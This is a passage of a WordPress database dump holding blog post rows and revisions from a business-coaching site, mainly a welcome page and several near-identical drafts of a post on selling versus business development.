place where they experience resistance, or the stagnation of a fuller expression of their natural inclinations. Many believe mastery is, for whatever reason, beyond their grasp.\r\n\r\nEverything in nature is governed by the “law of increase”, likewise, mastery will require you to continually increase your knowledge and your contribution of value to the world. Like gravity, this creative force within you is always on. It’s absolutely imperative that you spend all your “time” engaged in your natural inclinations–those thoughts, ideas, activities and skills that bring you a never-ending source of energy, creativity and joy to innovate new value for your customers and clients.\r\n\r\nWhen you follow the code of your embedded natural inclinations, embrace the value of your oneliness, and commit yourself to mastery of your Life’s Work, you’ll find the plateaus of your business or professional life as nothing more than the welcome stairway to greater expression and fulfillment.  Your realization of your mastery becomes an ever expanding and self-fulfilling prophecy.', 'In Search of Mastery', 0, '', 'inherit', 'open', 'open', '', '2307-revision-5', '', '', '2013-05-28 12:51:31', '2013-05-28 19:51:31', '', 2307, 'http://www.whitehotcenter.com/2013/05/2307-revision-5/', 0, 'revision', '', 0),
(2316, 2, '2013-05-28 14:24:18', '2013-05-28 21:24:18', '<h2><img class="alignnone size-full wp-image-2298" title="Thomson Dawson Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-5.jpg" alt="" width="495" height="306" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success.</span></h2>\r\n<h2>Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong> <strong>This is where I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued by your clients.</strong> If you are seeking inspiration, guidance and advise on making a quantum leap in your business success, I''m confident you''re going to really like what you find here!</h2>\r\nFirst off, the "first principles" that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nSuccess means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing it into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income! It''s no fun in crawliing your way to the middle!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, brand strategy, communications and creative consultant. I''ve served executives and their teams in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and business development methods for creating greater demand for your products and services. Oh yeah–making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your on-going business development efforts, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts in the comments section. And please share these ideas with your fellow colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-05-28 14:24:18', '2013-05-28 21:24:18', '', 172, 'http://www.whitehotcenter.com/2013/05/172-revision-152/', 0, 'revision', '', 0);
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(2319, 2, '2013-06-27 10:48:04', '2013-06-27 17:48:04', '<p><img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" /></p>\r\n<h1><span style="color: #808080;">Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</span></h1>\r\n<p><em>(Part One of Two)</em><em></em></p>\r\n<p>If you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many early stage entrepreneurs and solo professionals loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.</p>\r\n<p><strong>Building a pipeline of qualified prospects is hard work!</strong></p>\r\n<p>You probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.</p>\r\n<p>Every business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.</p>\r\n<p>Let me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.</p>\r\n<p><strong>Selling is being of service to people.</strong></p>\r\n<p>There’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.</p>\r\n<p>At the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.</p>\r\n<p>In either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.</p>\r\n<p><strong>The difference between selling and business development.</strong></p>\r\n<p>Stop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.</p>\r\n<p>You have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.</p>\r\n<p><strong>Buying is a process not an event.</strong></p>\r\n<p>In any product or service category, the prospect goes through a process of buying. It usually goes something like this:</p>\r\n<p><em>Need Awareness</em><br />\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.</p>\r\n<p><em>The Early Stage Buyer</em><br />\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.</p>\r\n<p><em>The Late Stage Buyer</em><br />\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.</p>\r\n<p><em>The Purchase Decision</em><br />\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.</p>\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\n<p>But your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.</p>\r\n<p>(Stay tuned for Part Two)</p>\r\n<p><em>Editor’s note: </em><br />\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants.<br />\r\n</em></p>\r\n', 'The difference between selling and business development. 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(2320, 2, '2013-06-27 10:21:00', '2013-06-27 17:21:00', '', 'selling vs business development', 0, '', 'inherit', 'open', 'open', '', 'sales-skills', '', '', '2013-06-27 10:21:00', '2013-06-27 17:21:00', '', 2319, 'http://www.whitehotcenter.com/wp-content/uploads/2013/06/sales-skills.jpg', 0, 'attachment', 'image/jpeg', 0),
(2321, 2, '2013-06-27 10:30:22', '2013-06-27 17:30:22', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\n<h1>Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</h1>\n<em>(Part One of Two)</em><em></em>\n\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many entrepreneurs loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\n\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\n\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\n\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\n\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\n\n<strong>Selling is being of service to people.</strong>\n\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\n\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\n\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\n\n<strong>The difference between selling and business development.</strong>\n\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\n\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\n\n<strong>Buying is a process not an event.</strong>\n\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\n\n<em>Need Awareness</em>\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\n\n<em>The Early Stage Buyer</em>\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\n\n<em>The Late Stage Buyer</em>\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\n\n<em>The Purchase Decision</em>\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\n\n(Stay tuned for Part Two)\n\nEditor’s note:\nJoin me in November for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level.', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-revision', '', '', '2013-06-27 10:30:22', '2013-06-27 17:30:22', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-revision/', 0, 'revision', '', 0),
(2322, 2, '2013-06-27 10:30:28', '2013-06-27 17:30:28', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\r\n<h1>Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</h1>\r\n<em>(Part One of Two)</em><em></em>\r\n\r\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many entrepreneurs loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\r\n\r\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\r\n\r\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\r\n\r\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\r\n\r\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\r\n\r\n<strong>Selling is being of service to people.</strong>\r\n\r\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\r\n\r\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\r\n\r\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\r\n\r\n<strong>The difference between selling and business development.</strong>\r\n\r\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\r\n\r\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\r\n\r\n<strong>Buying is a process not an event.</strong>\r\n\r\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\r\n\r\n<em>Need Awareness</em>\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\r\n\r\n<em>The Early Stage Buyer</em>\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\r\n\r\n<em>The Late Stage Buyer</em>\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\r\n\r\n<em>The Purchase Decision</em>\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\r\n\r\n(Stay tuned for Part Two)\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me in November for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level.</em>', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-revision-2', '', '', '2013-06-27 10:30:28', '2013-06-27 17:30:28', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-revision-2/', 0, 'revision', '', 0),
(2323, 2, '2013-06-27 10:30:41', '2013-06-27 17:30:41', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\r\n<h1>Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</h1>\r\n<em>(Part One of Two)</em><em></em>\r\n\r\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many entrepreneurs loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\r\n\r\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\r\n\r\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\r\n\r\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\r\n\r\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\r\n\r\n<strong>Selling is being of service to people.</strong>\r\n\r\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\r\n\r\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\r\n\r\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\r\n\r\n<strong>The difference between selling and business development.</strong>\r\n\r\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\r\n\r\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\r\n\r\n<strong>Buying is a process not an event.</strong>\r\n\r\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\r\n\r\n<em>Need Awareness</em>\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\r\n\r\n<em>The Early Stage Buyer</em>\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\r\n\r\n<em>The Late Stage Buyer</em>\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\r\n\r\n<em>The Purchase Decision</em>\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\r\n\r\n(Stay tuned for Part Two)\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me in November for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level.</em>', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-revision-3', '', '', '2013-06-27 10:30:41', '2013-06-27 17:30:41', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-revision-3/', 0, 'revision', '', 0),
(2324, 2, '2013-06-27 10:31:47', '2013-06-27 17:31:47', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #666699;">Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</span></h1>\r\n<em>(Part One of Two)</em><em></em>\r\n\r\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many entrepreneurs loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\r\n\r\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\r\n\r\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\r\n\r\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\r\n\r\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\r\n\r\n<strong>Selling is being of service to people.</strong>\r\n\r\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\r\n\r\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\r\n\r\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\r\n\r\n<strong>The difference between selling and business development.</strong>\r\n\r\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\r\n\r\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\r\n\r\n<strong>Buying is a process not an event.</strong>\r\n\r\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\r\n\r\n<em>Need Awareness</em>\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\r\n\r\n<em>The Early Stage Buyer</em>\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\r\n\r\n<em>The Late Stage Buyer</em>\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\r\n\r\n<em>The Purchase Decision</em>\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\r\n\r\n(Stay tuned for Part Two)\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me in November for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level.</em>', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-revision-4', '', '', '2013-06-27 10:31:47', '2013-06-27 17:31:47', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-revision-4/', 0, 'revision', '', 0),
(2325, 2, '2013-06-27 10:33:15', '2013-06-27 17:33:15', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\n<h1><span style="color: #808080;">Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</span></h1>\n<em>(Part One of Two)</em><em></em>\n\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many early stage entrepreneurs and solo pentrepreneurs loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\n\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\n\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\n\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\n\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\n\n<strong>Selling is being of service to people.</strong>\n\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\n\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\n\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\n\n<strong>The difference between selling and business development.</strong>\n\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\n\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\n\n<strong>Buying is a process not an event.</strong>\n\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\n\n<em>Need Awareness</em>\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\n\n<em>The Early Stage Buyer</em>\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\n\n<em>The Late Stage Buyer</em>\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\n\n<em>The Purchase Decision</em>\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\n\n(Stay tuned for Part Two)\n\n<em>Editor’s note: </em>\n<em>Join me in November for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level.</em>', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-revision-5', '', '', '2013-06-27 10:33:15', '2013-06-27 17:33:15', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-revision-5/', 0, 'revision', '', 0),
